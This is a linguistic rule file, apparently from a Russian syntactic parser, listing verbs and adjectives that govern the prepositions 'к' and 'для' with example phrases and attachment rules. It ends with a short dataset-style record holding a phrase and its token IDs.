rus_verbs:прибавляться{}, // прибавляться к пенсии rus_verbs:подкатиться{}, // подкатиться к воротам rus_verbs:стягивать{}, // стягивать к границе rus_verbs:дописать{}, // дописать к роману rus_verbs:подпустить{}, // подпустить к корове rus_verbs:склонять{}, // склонять к сотрудничеству rus_verbs:припечатать{}, // припечатать к стене rus_verbs:охладеть{}, // охладеть к музыке rus_verbs:пришить{}, // пришить к шинели rus_verbs:принюхиваться{}, // принюхиваться к ветру rus_verbs:подрулить{}, // подрулить к барышне rus_verbs:наведаться{}, // наведаться к оракулу rus_verbs:клеиться{}, // клеиться к конверту rus_verbs:перетянуть{}, // перетянуть к себе rus_verbs:переметнуться{}, // переметнуться к конкурентам rus_verbs:липнуть{}, // липнуть к сокурсницам rus_verbs:поковырять{}, // поковырять к выходу rus_verbs:подпускать{}, // подпускать к пульту управления rus_verbs:присосаться{}, // присосаться к источнику rus_verbs:приклеить{}, // приклеить к стеклу rus_verbs:подтягивать{}, // подтягивать к себе rus_verbs:подкатывать{}, // подкатывать к даме rus_verbs:притрагиваться{}, // притрагиваться к опухоли rus_verbs:слетаться{}, // слетаться к водопою rus_verbs:хаживать{}, // хаживать к батюшке rus_verbs:привлекаться{}, // привлекаться к административной ответственности rus_verbs:подзывать{}, // подзывать к себе rus_verbs:прикладываться{}, // прикладываться к иконе rus_verbs:подтягиваться{}, // подтягиваться к парламенту rus_verbs:прилепить{}, // прилепить к стенке холодильника rus_verbs:пододвинуться{}, // пододвинуться к экрану rus_verbs:приползти{}, // приползти к дереву rus_verbs:запаздывать{}, // запаздывать к обеду rus_verbs:припереть{}, // припереть к стене rus_verbs:нагибаться{}, // нагибаться к цветку инфинитив:сгонять{ вид:соверш }, глагол:сгонять{ вид:соверш }, // сгонять к воротам деепричастие:сгоняв{}, rus_verbs:поковылять{}, // поковылять к выходу rus_verbs:привалить{}, // привалить к столбу rus_verbs:отпроситься{}, // отпроситься к родителям rus_verbs:приспосабливаться{}, // приспосабливаться к новым условиям rus_verbs:прилипать{}, // прилипать к рукам rus_verbs:подсоединить{}, // подсоединить к приборам rus_verbs:приливать{}, // приливать к голове rus_verbs:подселить{}, // подселить к другим новичкам rus_verbs:прилепиться{}, // прилепиться к шкуре rus_verbs:подлетать{}, // подлетать к пункту назначения rus_verbs:пристегнуться{}, // пристегнуться к креслу ремнями rus_verbs:прибиться{}, // прибиться к стае, улетающей на юг rus_verbs:льнуть{}, // льнуть к заботливому хозяину rus_verbs:привязываться{}, // привязываться к любящему хозяину rus_verbs:приклеиться{}, // приклеиться к спине rus_verbs:стягиваться{}, // стягиваться к сенату rus_verbs:подготавливать{}, // подготавливать к выходу на арену rus_verbs:приглашаться{}, // приглашаться к доктору rus_verbs:причислять{}, // причислять к отличникам rus_verbs:приколоть{}, // приколоть к лацкану rus_verbs:наклонять{}, // наклонять к горизонту rus_verbs:припадать{}, // припадать к первоисточнику rus_verbs:приобщиться{}, // приобщиться к культурному наследию rus_verbs:придираться{}, // придираться к мелким ошибкам rus_verbs:приучать{}, // приучать к лотку rus_verbs:промотать{}, // промотать к началу rus_verbs:прихлынуть{}, // прихлынуть к голове rus_verbs:пришвартоваться{}, // пришвартоваться к первому пирсу rus_verbs:прикрутить{}, // прикрутить к велосипеду rus_verbs:подплывать{}, // подплывать к лодке rus_verbs:приравниваться{}, // приравниваться к побегу rus_verbs:подстрекать{}, // подстрекать к вооруженной борьбе с оккупантами rus_verbs:изготовляться{}, // изготовляться к прыжку из стратосферы rus_verbs:приткнуться{}, // приткнуться к первой группе туристов rus_verbs:приручить{}, // приручить котика к лотку rus_verbs:приковывать{}, // приковывать к себе все внимание прессы rus_verbs:приготовляться{}, // приготовляться к первому экзамену rus_verbs:остыть{}, // Вода остынет к утру. rus_verbs:приехать{}, // Он приедет к концу будущей недели. rus_verbs:подсаживаться{}, rus_verbs:успевать{}, // успевать к стилисту rus_verbs:привлекать{}, // привлекать к себе внимание прилагательное:устойчивый{}, // переводить в устойчивую к перегреву форму rus_verbs:прийтись{}, // прийтись ко двору инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована к условиям крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, инфинитив:адаптироваться{вид:соверш}, // тело адаптировалось к условиям суровой зимы инфинитив:адаптироваться{вид:несоверш}, глагол:адаптироваться{вид:соверш}, глагол:адаптироваться{вид:несоверш}, деепричастие:адаптировавшись{}, деепричастие:адаптируясь{}, прилагательное:адаптировавшийся{вид:соверш}, //+прилагательное:адаптировавшийся{вид:несоверш}, прилагательное:адаптирующийся{}, rus_verbs:апеллировать{}, // оратор апеллировал к патриотизму своих слушателей rus_verbs:близиться{}, // Шторм близится к побережью rus_verbs:доставить{}, // Эскиз ракеты, способной доставить корабль к Луне rus_verbs:буксировать{}, // Буксир буксирует танкер к месту стоянки rus_verbs:причислить{}, // Мы причислили его к числу экспертов rus_verbs:вести{}, // Наша партия ведет народ к процветанию rus_verbs:взывать{}, // Учителя взывают к совести хулигана rus_verbs:воззвать{}, // воззвать соплеменников к оружию rus_verbs:возревновать{}, // возревновать к поклонникам rus_verbs:воспылать{}, // Коля воспылал к Оле страстной любовью rus_verbs:восходить{}, // восходить к вершине rus_verbs:восшествовать{}, // восшествовать к вершине rus_verbs:успеть{}, // успеть к обеду rus_verbs:повернуться{}, // повернуться к кому-то rus_verbs:обратиться{}, // обратиться к охраннику rus_verbs:звать{}, // звать к столу rus_verbs:отправиться{}, // отправиться к парикмахеру rus_verbs:обернуться{}, // обернуться к зовущему rus_verbs:явиться{}, // явиться к следователю rus_verbs:уехать{}, // уехать к родне rus_verbs:прибыть{}, // прибыть к перекличке rus_verbs:привыкнуть{}, // привыкнуть к голоду rus_verbs:уходить{}, // уходить к цыганам rus_verbs:привести{}, // привести к себе rus_verbs:шагнуть{}, // шагнуть к славе rus_verbs:относиться{}, // относиться к прежним периодам rus_verbs:подослать{}, // подослать к врагам rus_verbs:поспешить{}, // поспешить к обеду rus_verbs:зайти{}, // зайти к подруге rus_verbs:позвать{}, // позвать к себе rus_verbs:потянуться{}, // потянуться к рычагам rus_verbs:пускать{}, // пускать к себе rus_verbs:отвести{}, // отвести к врачу rus_verbs:приблизиться{}, // приблизиться к решению задачи rus_verbs:прижать{}, // прижать к стене rus_verbs:отправить{}, // отправить к доктору rus_verbs:падать{}, // падать к многолетним минимумам rus_verbs:полезть{}, // полезть к дерущимся rus_verbs:лезть{}, // Ты сама ко мне лезла! rus_verbs:направить{}, // направить к майору rus_verbs:приводить{}, // приводить к дантисту rus_verbs:кинуться{}, // кинуться к двери rus_verbs:поднести{}, // поднести к глазам rus_verbs:подниматься{}, // подниматься к себе rus_verbs:прибавить{}, // прибавить к результату rus_verbs:зашагать{}, // зашагать к выходу rus_verbs:склониться{}, // склониться к земле rus_verbs:стремиться{}, // стремиться к вершине rus_verbs:лететь{}, // лететь к родственникам rus_verbs:ездить{}, // ездить к любовнице rus_verbs:приближаться{}, // приближаться к финише rus_verbs:помчаться{}, // помчаться к стоматологу rus_verbs:прислушаться{}, // прислушаться к происходящему rus_verbs:изменить{}, // изменить к лучшему собственную жизнь rus_verbs:проявить{}, // проявить к погибшим сострадание rus_verbs:подбежать{}, // подбежать к упавшему rus_verbs:терять{}, // терять к партнерам доверие rus_verbs:пропустить{}, // пропустить к певцу rus_verbs:подвести{}, // подвести к глазам rus_verbs:меняться{}, // меняться к лучшему rus_verbs:заходить{}, // заходить к другу rus_verbs:рвануться{}, // рвануться к воде rus_verbs:привлечь{}, // привлечь к себе внимание rus_verbs:присоединиться{}, // присоединиться к сети rus_verbs:приезжать{}, // приезжать к дедушке rus_verbs:дернуться{}, // дернуться к борту rus_verbs:подъехать{}, // подъехать к воротам rus_verbs:готовиться{}, // готовиться к дождю rus_verbs:убежать{}, // убежать к маме rus_verbs:поднимать{}, // поднимать к источнику сигнала rus_verbs:отослать{}, // отослать к руководителю rus_verbs:приготовиться{}, // приготовиться к худшему rus_verbs:приступить{}, // приступить к выполнению обязанностей rus_verbs:метнуться{}, // метнуться к фонтану rus_verbs:прислушиваться{}, // прислушиваться к голосу разума rus_verbs:побрести{}, // побрести к выходу rus_verbs:мчаться{}, // мчаться к успеху rus_verbs:нестись{}, // нестись к обрыву rus_verbs:попадать{}, // попадать к хорошему костоправу rus_verbs:опоздать{}, // опоздать к психотерапевту rus_verbs:посылать{}, // посылать к доктору rus_verbs:поплыть{}, // поплыть к берегу rus_verbs:подтолкнуть{}, // подтолкнуть к активной работе rus_verbs:отнести{}, // отнести животное к ветеринару rus_verbs:прислониться{}, // прислониться к стволу rus_verbs:наклонить{}, // наклонить к миске с молоком rus_verbs:прикоснуться{}, // прикоснуться к поверхности rus_verbs:увезти{}, // увезти к бабушке rus_verbs:заканчиваться{}, // заканчиваться к концу путешествия rus_verbs:подозвать{}, // подозвать к себе rus_verbs:улететь{}, // улететь к теплым берегам rus_verbs:ложиться{}, // ложиться к мужу rus_verbs:убираться{}, // убираться к чертовой бабушке rus_verbs:класть{}, // класть к другим документам rus_verbs:доставлять{}, // доставлять к подъезду rus_verbs:поворачиваться{}, // поворачиваться к источнику шума rus_verbs:заглядывать{}, // заглядывать к любовнице rus_verbs:занести{}, // занести к заказчикам rus_verbs:прибежать{}, // прибежать к папе rus_verbs:притянуть{}, // притянуть к причалу rus_verbs:переводить{}, // переводить в устойчивую к перегреву форму rus_verbs:подать{}, // он подал лимузин к подъезду rus_verbs:подавать{}, // она подавала соус к мясу rus_verbs:приобщаться{}, // приобщаться к культуре прилагательное:неспособный{}, // Наша дочка неспособна к учению. прилагательное:неприспособленный{}, // Эти устройства неприспособлены к работе в жару прилагательное:предназначенный{}, // Старый дом предназначен к сносу. прилагательное:внимательный{}, // Она всегда внимательна к гостям. прилагательное:назначенный{}, // Дело назначено к докладу. прилагательное:разрешенный{}, // Эта книга разрешена к печати. прилагательное:снисходительный{}, // Этот учитель снисходителен к ученикам. прилагательное:готовый{}, // Я готов к экзаменам. прилагательное:требовательный{}, // Он очень требователен к себе. прилагательное:жадный{}, // Он жаден к деньгам. прилагательное:глухой{}, // Он глух к моей просьбе. прилагательное:добрый{}, // Он добр к детям. rus_verbs:проявлять{}, // Он всегда проявлял живой интерес к нашим делам. rus_verbs:плыть{}, // Пароход плыл к берегу. rus_verbs:пойти{}, // я пошел к доктору rus_verbs:придти{}, // придти к выводу rus_verbs:заглянуть{}, // Я заглянул к вам мимоходом. rus_verbs:принадлежать{}, // Это существо принадлежит к разряду растений. rus_verbs:подготавливаться{}, // Ученики подготавливаются к экзаменам. rus_verbs:спускаться{}, // Улица круто спускается к реке. rus_verbs:спуститься{}, // Мы спустились к реке. rus_verbs:пустить{}, // пускать ко дну rus_verbs:приговаривать{}, // Мы приговариваем тебя к пожизненному веселью! rus_verbs:отойти{}, // Дом отошёл к племяннику. rus_verbs:отходить{}, // Коля отходил ко сну. rus_verbs:приходить{}, // местные жители к нему приходили лечиться rus_verbs:кидаться{}, // не кидайся к столу rus_verbs:ходить{}, // Она простудилась и сегодня ходила к врачу. rus_verbs:закончиться{}, // Собрание закончилось к вечеру. rus_verbs:послать{}, // Они выбрали своих депутатов и послали их к заведующему. rus_verbs:направиться{}, // Мы сошли на берег и направились к городу. rus_verbs:направляться{}, rus_verbs:свестись{}, // Всё свелось к нулю. rus_verbs:прислать{}, // Пришлите кого-нибудь к ней. rus_verbs:присылать{}, // Он присылал к должнику своих головорезов rus_verbs:подлететь{}, // Самолёт подлетел к лесу. rus_verbs:возвращаться{}, // он возвращается к старой работе глагол:находиться{ вид:несоверш }, инфинитив:находиться{ вид:несоверш }, деепричастие:находясь{}, прилагательное:находившийся{}, прилагательное:находящийся{}, // Япония находится к востоку от Китая. rus_verbs:возвращать{}, // возвращать к жизни rus_verbs:располагать{}, // Атмосфера располагает к работе. rus_verbs:возвратить{}, // Колокольный звон возвратил меня к прошлому. rus_verbs:поступить{}, // К нам поступила жалоба. rus_verbs:поступать{}, // К нам поступают жалобы. rus_verbs:прыгнуть{}, // Белка прыгнула к дереву rus_verbs:торопиться{}, // пассажиры торопятся к выходу rus_verbs:поторопиться{}, // поторопитесь к выходу rus_verbs:вернуть{}, // вернуть к активной жизни rus_verbs:припирать{}, // припирать к стенке rus_verbs:проваливать{}, // Проваливай ко всем чертям! rus_verbs:вбежать{}, // Коля вбежал ко мне rus_verbs:вбегать{}, // Коля вбегал ко мне глагол:забегать{ вид:несоверш }, // Коля забегал ко мне rus_verbs:постучаться{}, // Коля постучался ко мне. rus_verbs:повести{}, // Спросил я озорного Антонио и повел его к дому rus_verbs:понести{}, // Мы понесли кота к ветеринару rus_verbs:принести{}, // Я принес кота к ветеринару rus_verbs:устремиться{}, // Мы устремились к ручью. rus_verbs:подводить{}, // Учитель подводил детей к аквариуму rus_verbs:следовать{}, // Я получил приказ следовать к месту нового назначения. rus_verbs:пригласить{}, // Я пригласил к себе товарищей. rus_verbs:собираться{}, // Я собираюсь к тебе в гости. rus_verbs:собраться{}, // Маша собралась к дантисту rus_verbs:сходить{}, // Я схожу к врачу. rus_verbs:идти{}, // Маша уверенно шла к Пете rus_verbs:измениться{}, // Основные индексы рынка акций РФ почти не изменились к закрытию. rus_verbs:отыграть{}, // Российский рынок акций отыграл падение к закрытию. rus_verbs:заканчивать{}, // Заканчивайте к обеду rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время rus_verbs:окончить{}, // rus_verbs:дозвониться{}, // Я не мог к вам дозвониться. глагол:прийти{}, инфинитив:прийти{}, // Антонио пришел к Элеонор rus_verbs:уйти{}, // Антонио ушел к Элеонор rus_verbs:бежать{}, // Антонио бежит к Элеонор rus_verbs:спешить{}, // Антонио спешит к Элеонор rus_verbs:скакать{}, // Антонио скачет к Элеонор rus_verbs:красться{}, // Антонио крадётся к Элеонор rus_verbs:поскакать{}, // беглецы поскакали к холмам rus_verbs:перейти{} // Антонио перешел к Элеонор } fact гл_предл { if context { Гл_К_Дат предлог:к{} *:*{ падеж:дат } } then return true } fact гл_предл { if context { Гл_К_Дат предлог:к{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:к{} *:*{} } then return false,-5 } #endregion Предлог_К #region Предлог_ДЛЯ // ------------------- С ПРЕДЛОГОМ 'ДЛЯ' ---------------------- wordentry_set Гл_ДЛЯ_Род={ частица:нет{}, // для меня нет других путей. частица:нету{}, rus_verbs:ЗАДЕРЖАТЬ{}, // полиция может задержать их для выяснения всех обстоятельств и дальнейшего опознания. (ЗАДЕРЖАТЬ) rus_verbs:ДЕЛАТЬСЯ{}, // это делалось для людей (ДЕЛАТЬСЯ) rus_verbs:обернуться{}, // обернулась для греческого рынка труда банкротствами предприятий и масштабными сокращениями (обернуться) rus_verbs:ПРЕДНАЗНАЧАТЬСЯ{}, // Скорее всего тяжелый клинок вообще не предназначался для бросков (ПРЕДНАЗНАЧАТЬСЯ) rus_verbs:ПОЛУЧИТЬ{}, // ты можешь получить его для нас? (ПОЛУЧИТЬ) rus_verbs:ПРИДУМАТЬ{}, // Ваш босс уже придумал для нас веселенькую смерть. (ПРИДУМАТЬ) rus_verbs:оказаться{}, // это оказалось для них тяжелой задачей rus_verbs:ГОВОРИТЬ{}, // теперь она говорила для нас обоих (ГОВОРИТЬ) rus_verbs:ОСВОБОДИТЬ{}, // освободить ее для тебя? (ОСВОБОДИТЬ) rus_verbs:работать{}, // Мы работаем для тех, кто ценит удобство rus_verbs:СТАТЬ{}, // кем она станет для него? (СТАТЬ) rus_verbs:ЯВИТЬСЯ{}, // вы для этого явились сюда? (ЯВИТЬСЯ) rus_verbs:ПОТЕРЯТЬ{}, // жизнь потеряла для меня всякий смысл (ПОТЕРЯТЬ) rus_verbs:УТРАТИТЬ{}, // мой мир утратил для меня всякое подобие смысла (УТРАТИТЬ) rus_verbs:ДОСТАТЬ{}, // ты должен достать ее для меня! (ДОСТАТЬ) rus_verbs:БРАТЬ{}, // некоторые берут для себя (БРАТЬ) rus_verbs:ИМЕТЬ{}, // имею для вас новость (ИМЕТЬ) rus_verbs:ЖДАТЬ{}, // тебя ждут для разговора (ЖДАТЬ) rus_verbs:ПРОПАСТЬ{}, // совсем пропал для мира (ПРОПАСТЬ) rus_verbs:ПОДНЯТЬ{}, // нас подняли для охоты (ПОДНЯТЬ) rus_verbs:ОСТАНОВИТЬСЯ{}, // время остановилось для нее (ОСТАНОВИТЬСЯ) rus_verbs:НАЧИНАТЬСЯ{}, // для него начинается новая жизнь (НАЧИНАТЬСЯ) rus_verbs:КОНЧИТЬСЯ{}, // кончились для него эти игрушки (КОНЧИТЬСЯ) rus_verbs:НАСТАТЬ{}, // для него настало время действовать (НАСТАТЬ) rus_verbs:СТРОИТЬ{}, // для молодых строили новый дом (СТРОИТЬ) rus_verbs:ВЗЯТЬ{}, // возьми для защиты этот меч (ВЗЯТЬ) rus_verbs:ВЫЯСНИТЬ{}, // попытаюсь выяснить для вас всю цепочку (ВЫЯСНИТЬ) rus_verbs:ПРИГОТОВИТЬ{}, // давай попробуем приготовить для них сюрприз (ПРИГОТОВИТЬ) rus_verbs:ПОДХОДИТЬ{}, // берег моря мертвых подходил для этого идеально (ПОДХОДИТЬ) rus_verbs:ОСТАТЬСЯ{}, // внешний вид этих тварей остался для нас загадкой (ОСТАТЬСЯ) rus_verbs:ПРИВЕЗТИ{}, // для меня привезли пиво (ПРИВЕЗТИ) прилагательное:ХАРАКТЕРНЫЙ{}, // Для всей территории края характерен умеренный континентальный климат (ХАРАКТЕРНЫЙ) rus_verbs:ПРИВЕСТИ{}, // для меня белую лошадь привели (ПРИВЕСТИ ДЛЯ) rus_verbs:ДЕРЖАТЬ{}, // их держат для суда (ДЕРЖАТЬ ДЛЯ) rus_verbs:ПРЕДОСТАВИТЬ{}, // вьетнамец предоставил для мигрантов места проживания в ряде вологодских общежитий (ПРЕДОСТАВИТЬ ДЛЯ) rus_verbs:ПРИДУМЫВАТЬ{}, // придумывая для этого разнообразные причины (ПРИДУМЫВАТЬ ДЛЯ) rus_verbs:оставить{}, // или вообще решили оставить планету для себя rus_verbs:оставлять{}, rus_verbs:ВОССТАНОВИТЬ{}, // как ты можешь восстановить это для меня? (ВОССТАНОВИТЬ ДЛЯ) rus_verbs:ТАНЦЕВАТЬ{}, // а вы танцевали для меня танец семи покрывал (ТАНЦЕВАТЬ ДЛЯ) rus_verbs:ДАТЬ{}, // твой принц дал мне это для тебя! (ДАТЬ ДЛЯ) rus_verbs:ВОСПОЛЬЗОВАТЬСЯ{}, // мужчина из лагеря решил воспользоваться для передвижения рекой (ВОСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:СЛУЖИТЬ{}, // они служили для разговоров (СЛУЖИТЬ ДЛЯ) rus_verbs:ИСПОЛЬЗОВАТЬСЯ{}, // Для вычисления радиуса поражения ядерных взрывов используется формула (ИСПОЛЬЗОВАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬСЯ{}, // Применяется для изготовления алкогольных коктейлей (ПРИМЕНЯТЬСЯ ДЛЯ) rus_verbs:СОВЕРШАТЬСЯ{}, // Для этого совершался специальный магический обряд (СОВЕРШАТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНИТЬ{}, // а здесь попробуем применить ее для других целей. (ПРИМЕНИТЬ ДЛЯ) rus_verbs:ПОЗВАТЬ{}, // ты позвал меня для настоящей работы. (ПОЗВАТЬ ДЛЯ) rus_verbs:НАЧАТЬСЯ{}, // очередной денек начался для Любки неудачно (НАЧАТЬСЯ ДЛЯ) rus_verbs:ПОСТАВИТЬ{}, // вас здесь для красоты поставили? (ПОСТАВИТЬ ДЛЯ) rus_verbs:умереть{}, // или умерла для всяких чувств? (умереть для) rus_verbs:ВЫБРАТЬ{}, // ты сам выбрал для себя этот путь. (ВЫБРАТЬ ДЛЯ) rus_verbs:ОТМЕТИТЬ{}, // тот же отметил для себя другое. (ОТМЕТИТЬ ДЛЯ) rus_verbs:УСТРОИТЬ{}, // мы хотим устроить для них школу. (УСТРОИТЬ ДЛЯ) rus_verbs:БЫТЬ{}, // у меня есть для тебя работа. (БЫТЬ ДЛЯ) rus_verbs:ВЫЙТИ{}, // для всего нашего поколения так вышло. (ВЫЙТИ ДЛЯ) прилагательное:ВАЖНЫЙ{}, // именно твое мнение для нас крайне важно. (ВАЖНЫЙ ДЛЯ) прилагательное:НУЖНЫЙ{}, // для любого племени нужна прежде всего сила. (НУЖЕН ДЛЯ) прилагательное:ДОРОГОЙ{}, // эти места были дороги для них обоих. (ДОРОГОЙ ДЛЯ) rus_verbs:НАСТУПИТЬ{}, // теперь для больших людей наступило время действий. (НАСТУПИТЬ ДЛЯ) rus_verbs:ДАВАТЬ{}, // старый пень давал для этого хороший огонь. (ДАВАТЬ ДЛЯ) rus_verbs:ГОДИТЬСЯ{}, // доброе старое время годится лишь для воспоминаний. (ГОДИТЬСЯ ДЛЯ) rus_verbs:ТЕРЯТЬ{}, // время просто теряет для вас всякое значение. (ТЕРЯТЬ ДЛЯ) rus_verbs:ЖЕНИТЬСЯ{}, // настало время жениться для пользы твоего клана. (ЖЕНИТЬСЯ ДЛЯ) rus_verbs:СУЩЕСТВОВАТЬ{}, // весь мир перестал существовать для них обоих. (СУЩЕСТВОВАТЬ ДЛЯ) rus_verbs:ЖИТЬ{}, // жить для себя или жить для них. (ЖИТЬ ДЛЯ) rus_verbs:открыть{}, // двери моего дома всегда открыты для вас. (ОТКРЫТЫЙ ДЛЯ) rus_verbs:закрыть{}, // этот мир будет закрыт для них. (ЗАКРЫТЫЙ ДЛЯ) rus_verbs:ТРЕБОВАТЬСЯ{}, // для этого требуется огромное количество энергии. (ТРЕБОВАТЬСЯ ДЛЯ) rus_verbs:РАЗОРВАТЬ{}, // Алексей разорвал для этого свою рубаху. (РАЗОРВАТЬ ДЛЯ) rus_verbs:ПОДОЙТИ{}, // вполне подойдет для начала нашей экспедиции. (ПОДОЙТИ ДЛЯ) прилагательное:опасный{}, // сильный холод опасен для открытой раны. (ОПАСЕН ДЛЯ) rus_verbs:ПРИЙТИ{}, // для вас пришло очень важное сообщение. (ПРИЙТИ ДЛЯ) rus_verbs:вывести{}, // мы специально вывели этих животных для мяса. rus_verbs:убрать{}, // В вагонах метро для комфорта пассажиров уберут сиденья (УБРАТЬ В, ДЛЯ) rus_verbs:оставаться{}, // механизм этого воздействия остается для меня загадкой. (остается для) rus_verbs:ЯВЛЯТЬСЯ{}, // Чай является для китайцев обычным ежедневным напитком (ЯВЛЯТЬСЯ ДЛЯ) rus_verbs:ПРИМЕНЯТЬ{}, // Для оценок будущих изменений климата применяют модели общей циркуляции атмосферы. (ПРИМЕНЯТЬ ДЛЯ) rus_verbs:ПОВТОРЯТЬ{}, // повторяю для Пети (ПОВТОРЯТЬ ДЛЯ) rus_verbs:УПОТРЕБЛЯТЬ{}, // Краски, употребляемые для живописи (УПОТРЕБЛЯТЬ ДЛЯ) rus_verbs:ВВЕСТИ{}, // Для злостных нарушителей предложили ввести повышенные штрафы (ВВЕСТИ ДЛЯ) rus_verbs:найтись{}, // у вас найдется для него работа? rus_verbs:заниматься{}, // они занимаются этим для развлечения. (заниматься для) rus_verbs:заехать{}, // Коля заехал для обсуждения проекта rus_verbs:созреть{}, // созреть для побега rus_verbs:наметить{}, // наметить для проверки rus_verbs:уяснить{}, // уяснить для себя rus_verbs:нанимать{}, // нанимать для разовой работы rus_verbs:приспособить{}, // приспособить для удовольствия rus_verbs:облюбовать{}, // облюбовать для посиделок rus_verbs:прояснить{}, // прояснить для себя rus_verbs:задействовать{}, // задействовать для патрулирования rus_verbs:приготовлять{}, // приготовлять для проверки инфинитив:использовать{ вид:соверш }, // использовать для достижения цели инфинитив:использовать{ вид:несоверш }, глагол:использовать{ вид:соверш }, глагол:использовать{ вид:несоверш }, прилагательное:использованный{}, деепричастие:используя{}, деепричастие:использовав{}, rus_verbs:напрячься{}, // напрячься для решительного рывка rus_verbs:одобрить{}, // одобрить для использования rus_verbs:одобрять{}, // одобрять для использования rus_verbs:пригодиться{}, // пригодиться для тестирования rus_verbs:готовить{}, // готовить для выхода в свет rus_verbs:отобрать{}, // отобрать для участия в конкурсе rus_verbs:потребоваться{}, // потребоваться для подтверждения rus_verbs:пояснить{}, // пояснить для слушателей rus_verbs:пояснять{}, // пояснить для экзаменаторов rus_verbs:понадобиться{}, // понадобиться для обоснования инфинитив:адаптировать{вид:несоверш}, // машина была адаптирована для условий крайнего севера инфинитив:адаптировать{вид:соверш}, глагол:адаптировать{вид:несоверш}, глагол:адаптировать{вид:соверш}, деепричастие:адаптировав{}, деепричастие:адаптируя{}, прилагательное:адаптирующий{}, прилагательное:адаптировавший{ вид:соверш }, //+прилагательное:адаптировавший{ вид:несоверш }, прилагательное:адаптированный{}, rus_verbs:найти{}, // Папа нашел для детей няню прилагательное:вредный{}, // Это вредно для здоровья. прилагательное:полезный{}, // Прогулки полезны для здоровья. прилагательное:обязательный{}, // Этот пункт обязателен для исполнения прилагательное:бесполезный{}, // Это лекарство бесполезно для него прилагательное:необходимый{}, // Это лекарство необходимо для выздоровления rus_verbs:создать{}, // Он не создан для этого дела. прилагательное:сложный{}, // задача сложна для младших школьников прилагательное:несложный{}, прилагательное:лёгкий{}, прилагательное:сложноватый{}, rus_verbs:становиться{}, rus_verbs:представлять{}, // Это не представляет для меня интереса. rus_verbs:значить{}, // Я рос в деревне и хорошо знал, что для деревенской жизни значат пруд или речка rus_verbs:пройти{}, // День прошёл спокойно для него. rus_verbs:проходить{}, rus_verbs:высадиться{}, // большой злой пират и его отчаянные помощники высадились на необитаемом острове для поиска зарытых сокровищ rus_verbs:высаживаться{}, rus_verbs:прибавлять{}, // Он любит прибавлять для красного словца. rus_verbs:прибавить{}, rus_verbs:составить{}, // Ряд тригонометрических таблиц был составлен для астрономических расчётов. rus_verbs:составлять{}, rus_verbs:стараться{}, // Я старался для вас rus_verbs:постараться{}, // Я постарался для вас rus_verbs:сохраниться{}, // Старик хорошо сохранился для своего возраста. rus_verbs:собраться{}, // собраться для обсуждения rus_verbs:собираться{}, // собираться для обсуждения rus_verbs:уполномочивать{}, rus_verbs:уполномочить{}, // его уполномочили для ведения переговоров rus_verbs:принести{}, // Я принёс эту книгу для вас. rus_verbs:делать{}, // Я это делаю для удовольствия. rus_verbs:сделать{}, // Я сделаю это для удовольствия. rus_verbs:подготовить{}, // я подготовил для друзей сюрприз rus_verbs:подготавливать{}, // я подготавливаю для гостей новый сюрприз rus_verbs:закупить{}, // Руководство района обещало закупить новые комбайны для нашего села rus_verbs:купить{}, // Руководство района обещало купить новые комбайны для нашего села rus_verbs:прибыть{} // они прибыли для участия } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} *:*{ падеж:род } } then return true } fact гл_предл { if context { Гл_ДЛЯ_Род предлог:для{} @regex("[a-z]+[0-9]*") } then return true } // для остальных падежей запрещаем. fact гл_предл { if context { * предлог:для{} *:*{} } then return false,-4 } #endregion Предлог_ДЛЯ #region Предлог_ОТ // попробуем иную стратегию - запретить связывание с ОТ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_ОТ_Род_Запр= { rus_verbs:наслаждаться{}, // свободой от обязательств rus_verbs:насладиться{}, rus_verbs:мочь{}, // Он не мог удержаться от смеха. // rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:чувствовать{}, // все время от времени чувствуют его. rus_verbs:планировать{}, rus_verbs:приняться{} // мы принялись обниматься от радости. } fact гл_предл { if context { Глаг_ОТ_Род_Запр предлог:от{} * } then return false } #endregion Предлог_ОТ #region Предлог_БЕЗ /* // запретить связывание с БЕЗ для отдельных глаголов, разрешив для всех остальных. wordentry_set Глаг_БЕЗ_Род_Запр= { rus_verbs:мочь{}, // Он мог читать часами без отдыха. rus_verbs:хотеть{}, rus_verbs:желать{}, rus_verbs:планировать{}, rus_verbs:приняться{} } fact гл_предл { if context { Глаг_БЕЗ_Род_Запр предлог:без{} * } then return false } */ #endregion Предлог_БЕЗ #region Предлог_КРОМЕ fact гл_предл { if context { * ПредлогДляВсе * } then return false,-5 } #endregion Предлог_КРОМЕ // ------------------------------------ // По умолчанию разрешаем все остальные сочетания. fact гл_предл { if context { * * * } then return true }
прокладывать в снегу
rus_verbs:прокладывать{},
5,481,790
[ 1, 145, 128, 146, 227, 145, 127, 145, 123, 145, 124, 145, 113, 145, 117, 146, 238, 145, 115, 145, 113, 146, 229, 146, 239, 225, 145, 115, 225, 146, 228, 145, 126, 145, 118, 145, 116, 146, 230, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
